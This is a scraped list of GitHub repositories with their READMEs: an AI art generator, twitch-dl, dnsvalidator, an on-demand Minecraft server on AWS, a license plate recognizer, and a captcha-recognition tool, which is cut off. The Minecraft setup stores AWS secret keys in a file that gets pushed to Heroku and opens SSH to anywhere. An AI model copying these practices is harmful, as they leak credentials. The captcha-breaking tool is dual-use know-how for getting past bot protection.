\n<img src=\"/samples/sample01.jpg\" width=\"367\" height=\"220\" alt=\"sample image 1\" title=\"sample image 1\">\n<img src=\"/samples/sample02.jpg\" width=\"220\" height=\"220\" alt=\"sample image 2\" title=\"sample image 2\">\n<img src=\"/samples/sample03.jpg\" width=\"220\" height=\"220\" alt=\"sample image 3\" title=\"sample image 3\">\n<img src=\"/samples/sample04.jpg\" width=\"220\" height=\"220\" alt=\"sample image 4\" title=\"sample image 4\">\n<img src=\"/samples/sample05.jpg\" width=\"220\" height=\"220\" alt=\"sample image 5\" title=\"sample image 5\">\n<img src=\"/samples/sample06.jpg\" width=\"367\" height=\"220\" alt=\"sample image 6\" title=\"sample image 6\">  \nNote that I did not create or train the models used in this project, nor was I involved in the original coding. I've simply modified the original colab versions so they'll run locally and added some support for automation.\nModels currently supported, with links to their original implementations:\n * [Stable Diffusion](https://github.com/CompVis/stable-diffusion)\n * CLIP-guided Diffusion (via [Disco Diffusion](https://colab.research.google.com/github/alembics/disco-diffusion/blob/main/Disco_Diffusion.ipynb) adapted to run locally)\n * [VQGAN+CLIP](https://colab.research.google.com/github/justinjohn0306/VQGAN-CLIP/blob/main/VQGAN%2BCLIP(Updated).ipynb)\n\n# Requirements\n\nYou'll need an Nvidia GPU, preferably with a decent amount of VRAM. 12GB of VRAM is sufficient for 512x512 output images depending on model and settings, and 8GB should be enough for 384x384 (8GB should be considered a reasonable minimum!). To generate 1024x1024 images, you'll need ~24GB of VRAM or more. Generating small images and then upscaling via [ESRGAN](https://github.com/xinntao/Real-ESRGAN) or some other package provides very good results as well.\n\nIt should be possible to run on an AMD GPU, but you'll need to be on Linux to install the ROCm version of Pytorch. I don't have an AMD GPU to throw into a Linux machine so I haven't tested this myself.\n\n# Setup\n\nThese instructions were tested on a Windows 10 desktop with an Nvidia 3080 Ti GPU (12GB VRAM), and also on an Ubuntu Server 20.04.3 system with an old Nvidia Tesla M40 GPU (24GB VRAM).\n\n**[1]** Install [Anaconda](https://www.anaconda.com/products/individual), open the root terminal, and create a new environment (and activate it):\n```\nconda create --name ai-art python=3.9\nconda activate ai-art\n```\n\n**[2]** Install Pytorch:\n```\nconda install pytorch torchvision torchaudio cudatoolkit=11.3 -c pytorch\n```\nNote that you can customize your Pytorch installation by using [the online tool located here](https://pytorch.org/get-started/locally/).\n\n**[3]** Install other required Python packages:\n```\nconda install -c anaconda git urllib3\npip install transformers keyboard pillow ftfy regex tqdm omegaconf pytorch-lightning IPython kornia imageio imageio-ffmpeg einops torch_optimizer\n```\n\n**[4]** Clone this repository and switch to its directory:\n```\ngit clone https://github.com/rbbrdckybk/ai-art-generator\ncd ai-art-generator\n```\nNote that Linux users may need single quotes around the URL in the clone command.\n\n**[5]** Clone additional required repositories:\n```\ngit clone https://github.com/openai/CLIP\ngit clone https://github.com/CompVis/taming-transformers\n```\n\n**[6]** Download the default VQGAN pre-trained model checkpoint files:\n```\nmkdir checkpoints\ncurl -L -o checkpoints/vqgan_imagenet_f16_16384.yaml -C - \"https://heibox.uni-heidelberg.de/d/a7530b09fed84f80a887/files/?p=%2Fconfigs%2Fmodel.yaml&dl=1\"\ncurl -L -o checkpoints/vqgan_imagenet_f16_16384.ckpt -C - \"https://heibox.uni-heidelberg.de/d/a7530b09fed84f80a887/files/?p=%2Fckpts%2Flast.ckpt&dl=1\"\n```\nNote that Linux users should replace the double quotes in the curl commands with single quotes.\n\n**[7]** (Optional) Download additional pre-trained models:  \nAdditional models are not necessary, but provide you with more options. [Here is a good list of available pre-trained models](https://github.com/CompVis/taming-transformers#overview-of-pretrained-models).  \nFor example, if you also wanted the FFHQ model (trained on faces): \n```\ncurl -L -o checkpoints/ffhq.yaml -C - \"https://app.koofr.net/content/links/0fc005bf-3dca-4079-9d40-cdf38d42cd7a/files/get/2021-04-23T18-19-01-project.yaml?path=%2F2021-04-23T18-19-01_ffhq_transformer%2Fconfigs%2F2021-04-23T18-19-01-project.yaml&force\"\ncurl -L -o checkpoints/ffhq.ckpt -C - \"https://app.koofr.net/content/links/0fc005bf-3dca-4079-9d40-cdf38d42cd7a/files/get/last.ckpt?path=%2F2021-04-23T18-19-01_ffhq_transformer%2Fcheckpoints%2Flast.ckpt\"\n```\n\n**[8]** (Optional) Test VQGAN+CLIP:  \n```\npython vqgan.py -s 128 128 -i 200 -p \"a red apple\" -o output/output.png\n```\nYou should see output.png created in the output directory, which should loosely resemble an apple.\n\n**[9]** Install packages for CLIP-guided diffusion (if you're only interested in VQGAN+CLIP, you can skip everything from here to the end): \n```\npip install ipywidgets omegaconf torch-fidelity einops wandb opencv-python matplotlib lpips datetime timm\nconda install pandas\n```\n\n**[10]** Clone repositories for CLIP-guided diffusion:\n```\ngit clone https://github.com/crowsonkb/guided-diffusion\ngit clone https://github.com/assafshocher/ResizeRight\ngit clone https://github.com/CompVis/latent-diffusion\n```\n\n**[11]** Download models needed for CLIP-guided diffusion:\n```\nmkdir content\\models\ncurl -L -o content/models/256x256_diffusion_uncond.pt -C - \"https://openaipublic.blob.core.windows.net/diffusion/jul-2021/256x256_diffusion_uncond.pt\"\ncurl -L -o content/models/512x512_diffusion_uncond_finetune_008100.pt -C - \"http://batbot.tv/ai/models/guided-diffusion/512x512_diffusion_uncond_finetune_008100.pt\"\ncurl -L -o content/models/secondary_model_imagenet_2.pth -C - \"https://ipfs.pollinations.ai/ipfs/bafybeibaawhhk7fhyhvmm7x24zwwkeuocuizbqbcg5nqx64jq42j75rdiy/secondary_model_imagenet_2.pth\"\nmkdir content\\models\\superres\ncurl -L -o content/models/superres/project.yaml -C - \"https://heibox.uni-heidelberg.de/f/31a76b13ea27482981b4/?dl=1\"\ncurl -L -o content/models/superres/last.ckpt -C - \"https://heibox.uni-heidelberg.de/f/578df07c8fc04ffbadf3/?dl=1\"\n```\nNote that Linux users should again replace the double quotes in the curl commands with single quotes, and replace the **mkdir** backslashes with forward slashes.\n\n**[12]** (Optional) Test CLIP-guided diffusion:  \n```\npython diffusion.py -s 128 128 -i 200 -p \"a red apple\" -o output.png\n```\nYou should see output.png created in the output directory, which should loosely resemble an apple.\n\n**[13]** Clone Stable Diffusion repository (if you're not interested in SD, you can skip everything from here to the end):\n```\ngit clone https://github.com/rbbrdckybk/stable-diffusion\n```\n\n**[14]** Install additional dependancies required by Stable Diffusion:\n```\npip install diffusers\n```\n\n**[15]** Download the Stable Diffusion pre-trained checkpoint file:\n```\nmkdir stable-diffusion\\models\\ldm\\stable-diffusion-v1\ncurl -L -o stable-diffusion/models/ldm/stable-diffusion-v1/model.ckpt -C - \"https://huggingface.co/CompVis/stable-diffusion-v-1-4-original/resolve/main/sd-v1-4.ckpt\"\n```\n**If the curl command doesn't download the checkpoint, it's gated behind a login.** You'll need to register [here](https://huggingface.co/CompVis) (only requires email and name) and then you can download the checkpoint file [here](https://huggingface.co/CompVis/stable-diffusion-v-1-4-original/resolve/main/sd-v1-4.ckpt).  \nAfter downloading, you'll need to place the .ckpt file in the directory created above and name it **model.ckpt**.  \n\n**[16]** (Optional) Test Stable Diffusion:  \nThe easiest way to test SD is to create a simple prompt file with **!PROCESS = stablediff** and a single subject. See *example-prompts.txt* and the next section for more information. Assuming you create a simple prompt file called *test.txt* first, you can test by running:\n```\npython make_art.py test.txt\n```\nImages should be saved to the **output** directory if successful (organized into subdirectories named for the date and prompt file).\n\n**[17]** Setup ESRGAN/GFPGAN (if you're not planning to upscale images, you can skip this and everything else):\n```\ngit clone https://github.com/xinntao/Real-ESRGAN\npip install basicsr facexlib gfpgan\ncd Real-ESRGAN\ncurl -L -o experiments/pretrained_models/RealESRGAN_x4plus.pth -C - \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth\"\npython setup.py develop\ncd ..\n```\n  \nYou're done!\n  \nIf you're getting errors outside of insufficient GPU VRAM while running and haven't updated your installation in awhile, try updating some of the more important packages, for example:\n```\npip install transformers -U\n```\n\n# Usage\n\nEssentially, you just need to create a text file containing the subjects and styles you want to use to generate images. If you have 5 subjects and 20 styles in your prompt file, then a total of 100 output images will be created (20 style images for each subject).\n\nTake a look at **example-prompts.txt** to see how prompt files should look. You can ignore everything except the [subjects] and [styles] areas for now. Lines beginning with a '#' are comments and will be ignored, and lines beginning with a '!' are settings directives and are explained in the next section. For now, just modify the example subjects and styles with whatever you'd like to use.\n\nAfter you've populated **example-prompts.txt** to your liking, you can simply run:\n```\npython make_art.py example-prompts.txt\n```\nDepending on your hardware and settings, each image will take anywhere from a few seconds to a few hours (on older hardware) to create. If you can run Stable Diffusion, I strongly recommend it for the best results - both in speed and image quality.\n\nOutput images are created in the **output/[current date]-[prompt file name]/** directory by default. The output directory will contain a JPG file for each image named for the subject & style used to create it. So for example, if you have \"a monkey on a motorcycle\" as one of your subjects, and \"by Picasso\" as a style, the output image will be created as output/[current date]-[prompt file name]/a-monkey-on-a-motorcycle-by-picasso.jpg (filenames will vary a bit depending on process used).\n\nYou can press **CTRL+SHIFT+P** any time to pause execution (the pause will take effect when the current image is finished rendering). Press **CTRL+SHIFT+P** again to unpause. Useful if you're running this on your primary computer and need to use your GPU for something else for awhile. You can also press **CTRL+SHIFT+R** to reload the prompt file if you've changed it (the current work queue will be discarded, and a new one will be built from the contents of your prompt file). **Note that keyboard input only works on Windows.**\n\nThe settings used to create each image are saved as metadata in each output JPG file by default. You can read the metadata info back by using any EXIF utility, or by simply right-clicking the image file in Windows Explorer and selecting \"properties\", then clicking the \"details\" pane. The \"comments\" field holds the command used to create the image.\n\n# Advanced Usage\n\nDirectives can be included in your prompt file to modify settings for all prompts that follow it. These settings directives are specified by putting them on their own line inside of the [subject] area of the prompt file, in the following format:  \n\n**![setting to change] = [new value]**  \n\nFor **[setting to change]**, valid directives are:  \n * PROCESS\n * CUDA_DEVICE\n * WIDTH\n * HEIGHT\n * ITERATIONS (vqgan/diffusion only)\n * CUTS (vqgan/diffusion only)\n * INPUT_IMAGE\n * SEED\n * LEARNING_RATE (vqgan only)\n * TRANSFORMER (vqgan only)\n * OPTIMISER (vqgan only)\n * CLIP_MODEL (vqgan only)\n * D_VITB16, D_VITB32, D_RN101, D_RN50, D_RN50x4, D_RN50x16 (diffusion only)\n * STEPS (stablediff only)\n * CHANNELS (stablediff only)\n * SAMPLES (stablediff only)\n * STRENGTH (stablediff only)\n * SD_LOW_MEMORY (stablediff only)\n * USE_UPSCALE (stablediff only)\n * UPSCALE_AMOUNT (stablediff only)\n * UPSCALE_FACE_ENH (stablediff only)\n * UPSCALE_KEEP_ORG (stablediff only)\n * REPEAT\n\nSome examples: \n```\n!PROCESS = vqgan\n```\nThis will set the current AI image-generation process. Valid options are **vqgan** for VQGAN+CLIP, **diffusion** for CLIP-guided diffusion (Disco Diffusion), or **stablediff** for Stable Diffusion.\n```\n!CUDA_DEVICE = 0\n```\nThis will force GPU 0 be to used (the default). Useful if you have multiple GPUs - you can run multiple instances, each with it's own prompt file specifying a unique GPU ID.\n```\n!WIDTH = 384\n!HEIGHT = 384\n```\nThis will set the output image size to 384x384. A larger output size requires more GPU VRAM. Note that for Stable Diffusion these values should be multiples of 64.\n```\n!TRANSFORMER = ffhq\n```\nThis will tell VQGAN to use the FFHQ transformer (somewhat better at faces), instead of the default (vqgan_imagenet_f16_16384). You can follow step 7 in the setup instructions above to get the ffhq transformer, along with a link to several others.\n\nWhatever you specify here MUST exist in the checkpoints directory as a .ckpt and .yaml file.\n```\n!INPUT_IMAGE = samples/face-input.jpg\n```\nThis will use samples/face-input.jpg (or whatever image you specify) as the starting image, instead of the default random noise. Input images must be the same aspect ratio as your output images for good results. Note that when using with Stable Diffusion the output image size will be the same as your input image (your height/width settings will be ignored).\n```\n!SEED = 42\n```\nThis will use 42 as the input seed value, instead of a random number (the default). Useful for reproducibility - when all other parameters are identical, using the same seed value should produce an identical image across multiple runs. Set to nothing or -1 to reset to using a random value.\n```\n!INPUT_IMAGE = \n```\nSetting any of these values to nothing will return it to its default. So in this example, no starting image will be used.\n```\n!STEPS = 50\n```\nSets the number of steps (simliar to iterations) when using Stable Diffusion to 50 (the default). Higher values take more time and may improve image quality. Values over 100 rarely produce noticeable differences compared to lower values.\n```\n!SCALE = 7.5\n```\nSets the guidance scale when using Stable Diffusion to 7.5 (the default). Higher values (to a point, beyond ~25 results may be strange) will cause the the output to more closely adhere to your prompt.\n```\n!SAMPLES = 1\n```\nSets the number of times to sample when using Stable Diffusion to 1 (the default). Values over 1 will cause multiple output images to be created for each prompt at a slight time savings per image. There is no cost in GPU VRAM required for incrementing this.\n```\n!STRENGTH = 0.75\n```\nSets the influence of the starting image to 0.75 (the default). Only relevant when using Stable Diffusion with an input image. Valid values are between 0-1, with 1 corresponding to complete destruction of the input image, and 0 corresponding to leaving the starting image completely intact. Values between 0.25 and 0.75 tend to give interesting results.\n```\n!SD_LOW_MEMORY = no\n```\nUse a forked repo with much lower GPU memory requirements when using Stable Diffusion (yes/no)? Setting this to **yes** will switch over to using a memory-optimized version of SD that will allow you to create higher resolution images with far less GPU memory (512x512 images should only require around 4GB of VRAM). The trade-off is that inference is **much** slower compared to the default official repo. For comparison: on a RTX 3060, a 512x512 image at default settings takes around 12 seconds to create; with *!SD_LOW_MEMORY = yes*, the same image takes over a minute. Recommend keeping this off unless you have under 8GB GPU VRAM, or want to experiment with creating larger images before upscaling.\n```\n!USE_UPSCALE = no\n```\nAutomatically upscale images created with Stable Diffusion (yes/no)? Uses ESRGAN/GFPGAN (see additional settings below).\n```\n!UPSCALE_AMOUNT = 2\n```\nHow much to scale when *!USE_UPSCALE = yes*. Default is 2.0x; higher values require more VRAM and time.\n```\n!UPSCALE_FACE_ENH = no\n```\nWhether or not to use GFPGAN (vs default ESRGAN) when upscaling. GFPGAN provides the best results with faces, but may provide slightly worse results if used on non-face subjects.\n```\n!UPSCALE_KEEP_ORG = no\n```\nKeep the original unmodified image when upscaling (yes/no)? If set to no (the default), the original image will be deleted. If set to yes, the original image will be saved in an **/original** subdirectory of the image output folder.\n```\n!REPEAT = no\n```\nWhen all jobs in the prompt file are finished, restart back at the top of the file (yes/no)? Default is no, which will simply terminate execution when all jobs are complete.\n\nTODO: finish settings examples & add usage tips/examples, document random_art.py\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ihabunek/twitch-dl", "link": "https://github.com/ihabunek/twitch-dl", "tags": ["twitch", "download-videos", "cli"], "stars": 512, "description": "CLI tool for downloading videos from Twitch.", "lang": "Python", "repo_lang": "", "readme": "Twitch Downloader\n=================\n\nCLI tool for downloading videos from twitch.tv\n\nInspired by [youtube-dl](https://youtube-dl.org/) but improves upon it by using\nmultiple concurrent connections to make the download faster.\n\nResources\n---------\n\n* [Documentation](https://twitch-dl.bezdomni.net/)\n* [Source code](https://github.com/ihabunek/twitch-dl)\n* [Issues](https://github.com/ihabunek/twitch-dl/issues)\n* [Python package](https://pypi.org/project/twitch-dl/)\n\nRequirements\n------------\n\n* Python 3.7 or later\n* [ffmpeg](https://ffmpeg.org/download.html), installed and on the system path\n\nQuick start\n-----------\n\nSee [installation instructions](https://twitch-dl.bezdomni.net/installation.html)\nto set up twitch-dl.\n\nList videos from a channel.\n\n```\ntwitch-dl videos bananasaurus_rex\n```\n\nList clips from a channel.\n\n```\ntwitch-dl clips bananasaurus_rex\n```\n\nDownload a video by URL.\n\n```\ntwitch-dl download https://www.twitch.tv/videos/1418494769\n```\n\nor by ID\n\n```\ntwitch-dl download 1418494769\n```\n\nDownload a clip by URL\n\n```\ntwitch-dl download https://www.twitch.tv/bananasaurus_rex/clip/PlacidColdClipsdadDeIlluminati-hL2s_aLE4CHvVN4J\n```\n\nor by slug\n\n```\ntwitch-dl download PlacidColdClipsdadDeIlluminati-hL2s_aLE4CHvVN4J\n```\n\nFor more info see [the documentation](https://twitch-dl.bezdomni.net/usage.html).\n\nLicense\n-------\n\nCopyright 2018-2022 Ivan Habunek <ivan@habunek.com>\n\nLicensed under the GPLv3: http://www.gnu.org/licenses/gpl-3.0.html\n\nUseful links for dev\n--------------------\n\n* https://supersonichub1.github.io/twitch-graphql-api/index.html\n* https://github.com/SuperSonicHub1/twitch-graphql-api\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "vortexau/dnsvalidator", "link": "https://github.com/vortexau/dnsvalidator", "tags": [], "stars": 512, "description": "Maintains a list of IPv4 DNS servers by verifying them against baseline servers, and ensuring accurate responses.", "lang": "Python", "repo_lang": "", "readme": "# DNS Validator\nMaintains a list of IPv4 DNS servers by verifying them against baseline servers, and ensuring accurate responses.\n\n[![Python 3.2|3.6](https://img.shields.io/badge/python-3.2|3.6-green.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)](https://www.gnu.org/licenses/gpl-3.0.en.html) \n[![Twitter](https://img.shields.io/badge/twitter-@vortexau-blue.svg)](https://twitter.com/vortexau)\n[![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) \n\n![DNSValidator](https://github.com/vortexau/dnsvalidator/blob/master/.github/dnsvalidator.png)\n\nDNS Validator's approach is different to other DNS query validation tools. This tool performs multiple validation steps on each resolver:\n\n* Baselines non-geolocated domain names against \"trusted\" public DNS resolvers, `1.1.1.1`, `8.8.8.8` and `9.9.9.9` \n  * For each resolver being tested DNS Validator ensures that each baselined domain name resolves to the same IP Address.\n    * Servers that return an answer that differs from the baseline are immediately skipped\n* Performs DNS lookup of known commonly spoofed DNS addresses to ensure NXDOMAIN is returned when expected.\n  * Resolvers that do not return NXDOMAIN for random subdomains of known target domains are immediately skipped.\n\n# Usage\n\n| Argument   | Description                                                                                                  |\n|------------|--------------------------------------------------------------------------------------------------------------|\n| (stdin)    | Pipe target lists from another application to verify. |\n| -t         | Specify a target DNS server to verify. |\n| -tL        | Specify a list of targets or a URL to a list of targets |\n| -e         | Specify a target exclusion. |\n| -eL        | Specify a list of targets or a URL to a list of targets to exclude. |\n| -r         | Specify a root domain to compare to. Must be non-geolocated or most resolvers will fail. |\n| -q         | Specify a resolver query to use (default:dnsvalidator) |\n| -threads   | Specify the maximum number of threads to run at any one time (DEFAULT:5)                                     |\n| -timeout   | Specify a timeout value in seconds for any single thread (DEFAULT:600)                                       |\n| -o         | Specify an output file to write successful output to. |\n| --no-color | If set then any foreground or background colours will be stripped out                                        |\n| --silent   | If set then only successfully resolved servers will be displayed and banners and other information will be redacted. |\n| -v         | If set then verbose output will be displayed in the terminal.                                                 |\n\n# Setup\nInstall using:\n```\n$ python3 setup.py install\n```\nDependencies will then be installed and DNS Validator will be added to your path as `dnsvalidator`.\n\n# Examples:\n\n## CLI:\n\n```bash\n$ dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 20 -o resolvers.txt\n```\n\n## Docker:\n\nBuild \n\n```bash\n$ docker build -t dnsvalidator .\n```\n\nRun:\n\n```bash\n$ docker run -v $(pwd):/dnsvalidator/output -t dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 20 -o /dnsvalidator/output/resolvers.txt\n```\n\n# Caveats\n\n* **WARNING** Keep the thread count to a reasonable level and/or use a VPS/VPN appropriately. Pushing the thread count too high can make it look like you are attempting to attack DNS servers, resulting in network level DNS blocks from your ISP. _Ask us how we know..._ \n* Root domains used for baseline tests must not be geolocated; specifically they must return the same IP address regardless of the location on the planet they are resolved from. Domains such as `google.com` or `facebook.com` (and many others) are not suitable for baselines, as they return a geo-located IP address when resolved.\n  * Using a root domain that is geo-located will result in only resolvers local to the user being returned as valid.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "trevor-laher/OnDemandMinecraft", "link": "https://github.com/trevor-laher/OnDemandMinecraft", "tags": [], "stars": 512, "description": "An AWS hosted Minecraft server that will only run when players are active. Players can start the server through a simple UI accessed through free Heroku server hosting.", "lang": "Python", "repo_lang": "", "readme": "# On Demand Minecraft Server\nUsing a Python Flask application and AWS, this repository launches an AWS EC2 Instance to host a Minecraft server upon request from users through the web application. The server will automatically shut down after the server has crashed or is empty for 15 minutes. This makes server hosting for small communities very inexpensive. For up to 20 players you can expect $0.02 per hour the server runs. The largest benefit of this system is that the server bill diminishes if your community decides to take a break from the game, and will be ready to pick back up when you want to play again. No subscriptions are required.\n\nNote that this configuration will likely require familiarity with programming, SSH, and the command line.\n\n\n# AWS Setup\nThis step will properly configure your AWS account and configuration.py file so that an instance can be created via the createInstance.py script.\n\n 1. Create or access an **AWS Account**. Under the **User Dropdown** in the    **Toolbar**, select **Security Credentials**, then **Access Keys**, and finally **Create New Access Key**. Download this file, open it, and copy the values of **AWSAccessKeyId** and **AWSSecretKey** to **ACCESS_KEY** and **SECRET_KEY** in the **configuration.py** file in the root directory of the repository.\n\t\n\t<code>ACCESS_KEY = 'YourAWSAccessKeyIdHere'\n\tSECRET_KEY  =  'YourAWSSecretKeyHere'</code> \n\n 3. Navigate to the **EC2 Dashboard** under the **Services Dropdown** and select **Security Groups** in the sidebar. Select **Create Security Group**, input **minecraft** for the **Security group name**. Create **Inbound Rules** for the following:\n\t - Type: **SSH** Protocol: **TCP** Port Range: **22** Source: **Anywhere**\n\t - Type: **Custom TCP Rule** Protocol: **TCP** Port Range: **25565** Source: **Anywhere**\n\t - Type: **Custom UDP Rule** Protocol: **UDP** Port Range: **25565** Source: **Anywhere**\n\t \n\t In **configuration.py** in the root directory, set **ec2_secgroups** to the name of the security group.\n\t \n\t <code>ec2_secgroups =  ['YourGroupNameHere']</code>\n\n3. Under the **EC2 Dashboard** navigate to **Key Pairs** in the sidebar. Select **Create Key Pair**, provide a name and create. Move the file that is downloaded into the root directory of the project. In **configuration.py** in the root directory, set ** ec2_keypair** to the name entered, and **SSH_KEY_FILE_NAME** to the name.pem of the file downloaded.\n\n\tTHIS MIGHT BE SUBJECT TO CHANGE\n\t\t<code>ec2_keypair =  'YourKeyPairName'\n\t\tSSH_KEY_FILE_PATH  =  './YourKeyFileName.pem'</code>\n\n4. This step is concerned with creating the AWS instance. View [https://docs.aws.amazon.com/general/latest/gr/rande.html](https://docs.aws.amazon.com/general/latest/gr/rande.html) (Or google AWS Regions), and copy the  **Region** column for the **Region Name** of where you wish to host your server. In **configuration.py** of the root directory, set the **ec2_region** variable to the copied value.\n\n\t<code>ec2_region =  \"Your-Region-Here\"</code>\n\n5. Navigate to [https://aws.amazon.com/ec2/instance-types/](https://aws.amazon.com/ec2/instance-types/) and select one of the T3 types (with the memory and CPU you desire, I recommend 10 players/GB). Copy the value in the **Model** column. I've configured mine to use **t3.small**. In **configuration.py** of the root directory, set the **ec2_instancetype** variable to the copied value.\n\n\t<code>ec2_instancetype =  't3.yourSizeHere'</code>\n\n6. Then we must select an image for the instance to boot. Navigate to [https://cloud-images.ubuntu.com/locator/ec2/](https://cloud-images.ubuntu.com/locator/ec2/), in the filter at the bottom of the screen, select your region of choice under **Zone**, pick any LTS (Latest Stable) under **Version**, under **Arch** select **amd64**, and **hvm:ebs** under **Instance Type**. Select one of the images available and copy the **AMI-ID**. In **configuration.py** of the root directory, set the **ec2_amis** variable to the copied value.\n\n\t<code>ec2_amis =  ['ami-YourImageIdHere']</code>\n\n7. At this point you should have the necessary configuration to create a new instance through the **createInstance.py** script in the **root** folder. Open a command line in the utilityScripts directory of the project, and execute:\n\n\t<code>pip install -r requirements.txt</code>\n\t\n\tAfter successful installation of dependencies execute:\n\n\t<code>python utilityScripts/createInstance.py</code>\n\n\tCopy the **Instance ID** that is output into the terminal. In **configuration.py** of the root directory, set the **INSTANCE_ID** variable to the copied value.\n\n\t<code>INSTANCE_ID  =  'i-yourInstanceIdHere'</code>\n\n\n# Web Application Deployment\nIn this step the project will get deployed to Heroku's free hosting. This part of the application provides a rudimentary UI and Web URL for users to start the server.\n\nBefore deployment it will be important to set the password for the server to start. In **configuration.py** of the root directory, set the **SERVER_PASSWORD** variable to the password of your choosing.\n\n   <code>SERVER_PASSWORD='YourPasswordHere'</code>\n 1. Create or have access to a Heroku account.\n 2. Install and setup the **Heroku CLI** onto your computer. [https://devcenter.heroku.com/articles/heroku-cli#download-and-install](https://devcenter.heroku.com/articles/heroku-cli#download-and-install)\n 3. In the command line for the directory of this project, type:\n\t <code>heroku create YourProjectNameHere</code>\n4. Once this new project has been created, it is time to push the project to Heroku.\n\t<code>git push heroku master</code>\n5. The URL to your hosted site should be: YourProjectNameHere.herokuapp.com\n6. Access your site and launch/access your server!\n\n# AWS Instance Configuration\nThis step will configure the AWS Linux server to run the minecraft server. It will include SSH connecting to the server, gaining admin privileges, installing java, directory setup, moving shell scripts onto the server, and making a CRON job for these shell scripts. Note that this step will include both an SSH client and a File Transfer client (such as FileZilla) on your PC.\n1. The first step will be to get SSH into the server instance. Using the key downloaded from AWS in the section above, add this key to PuTTY or simply access it through command line. The IP address can be obtained by entering the server password on the site, or through the EC2 Dashboard, selecting the iPV4 address from the corresponding instanceID in your configuration file. For MacOS and Linux systems\n\n\t<code>ssh -i pathToYourKeyFileHere ubuntu@IPAddress</code>\n\n2. Make the ubuntu user admin if it isn't already with:\n \n\t<code>adduser ubuntu sudo</code>\n\n3. The next step will be to install JavaJDK onto your system. For newer versions you may enter:\n\t<code>sudo apt install openjdk-11-jdk-headless</code>\n\tIf this doesn't work you can use <code>sudo apt list</code> and search through these packages for an alternative java version.\n\n4. Open up an FTP client such as FileZilla and connect to the same address as the same user with the same IP address. Drag all files from the **instanceSetup** folder from this repository, into the root directory of the current user (probably **ubuntu**, for the purposes of these commands I will be using **ubuntu**, but feel free to replace with your own user if appropriate).\n\n5.  Download the desired Minecraft server version from [https://www.minecraft.net/en-us/download/server/](https://www.minecraft.net/en-us/download/server/), rename it **server.jar** and drag it into the root directory of the user using FileZilla.\n\n6. Using the FTP client, create a new folder in the root directory of the current user called **screens**  \nOR  \nIn the SSH client, create a folder in the current directory with the command:\n\t<code>sudo mkdir screens</code>\n7. Then execute the following command:\n   <code>sudo chmod 700 /home/ubuntu</code>\n8. Then execute the next command:\n  <code>export SCREENDIR=/home/ubuntu/screens</code>\n9. Then execute the command:\n  <code>sudo crontab /home/ubuntu/crontab -u ubuntu</code>\n\n\tFeel free to close the server through the AWS console or execute the command:\n\t<code>sudo /sbin/shutdown -P +1</code>\n\nAt this point you may restart the server from the Web Application using the password you configured. You should then be able to play!\n\n# Additional Remarks\n## Minecraft Memory Configuration\nThe server startup command does not specify memory constraints by default, but is available to be specified in Configuration.py. In the event that you configure this from an empty string, **the trailing space is required** as in the example below. Traditional minecraft server flags apply for this configuration.\n<code>MEMORY_ALLOCATION='-Xmx1024M -Xms1024M '</code>\n## UI Configuration\nThe title and header for the site can be changed in **/templates/index.html**. Feel free to add any more content or styling to the site, though be careful not to change any form, input, button, or script elements in the template.\n\n## Server Maintenance\nMaintaining the server is fairly straightforward and is done primarily through FileZilla. Updating the server file can be done by downloading the new server file, renaming it to **server.jar** and replacing the old file on the server. The world file can be backed up to your PC manually though there is no automated process at this time.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MicrocontrollersAndMore/OpenCV_3_License_Plate_Recognition_Python", "link": "https://github.com/MicrocontrollersAndMore/OpenCV_3_License_Plate_Recognition_Python", "tags": [], "stars": 512, "description": null, "lang": "Python", "repo_lang": "", "readme": "The video pretty much explains it all:\nhttps://www.youtube.com/watch?v=fJcl6Gw1D8k\n", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "PatrickLib/captcha_recognize", "link": "https://github.com/PatrickLib/captcha_recognize", "tags": ["captcha-breaking", "python", "tensorflow", "captcha", "image-recognition-captchas"], "stars": 512, "description": "Image Recognition captcha without image segmentation \u65e0\u9700\u56fe\u7247\u5206\u5272\u7684\u9a8c\u8bc1\u7801\u8bc6\u522b", "lang": "Python", "repo_lang": "", "readme": "Introduce\n=========\n### Translation: [English](https://github.com/PatrickLib/captcha_recognize/blob/master/README.md) [\u4e2d\u6587](https://github.com/PatrickLib/captcha_recognize/blob/master/README-zhcn.md)\n\nimage recognition captchas using TensorFlow, no need image segmentation, run on ubuntu 16.04, python 2.7\n\n![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/CMQVA_num717_1.png)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/CMQZJ_num908_1.png)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/CRGEU_num339_1.png)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/CZHBN_num989_1.png)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/DZPEW_num388_1.png)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/CZWED_num21_1.png)\n\naccuracy 99.7% judged by captcha_eval.py, training size 50000, after 20000 steps\ncaptcha generator: https://github.com/lepture/captcha\n\n![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/1ab2s_num286.jpg)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/1ezx8_num398.jpg)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/1iv22_num346.jpg)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/1kxw2_num940.jpg)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/3mtj9_num765.jpg)![captcha](https://raw.githubusercontent.com/PatrickLib/captcha_recognition/master/data/test_data/1vuy5_num17.jpg)\n\naccuracy 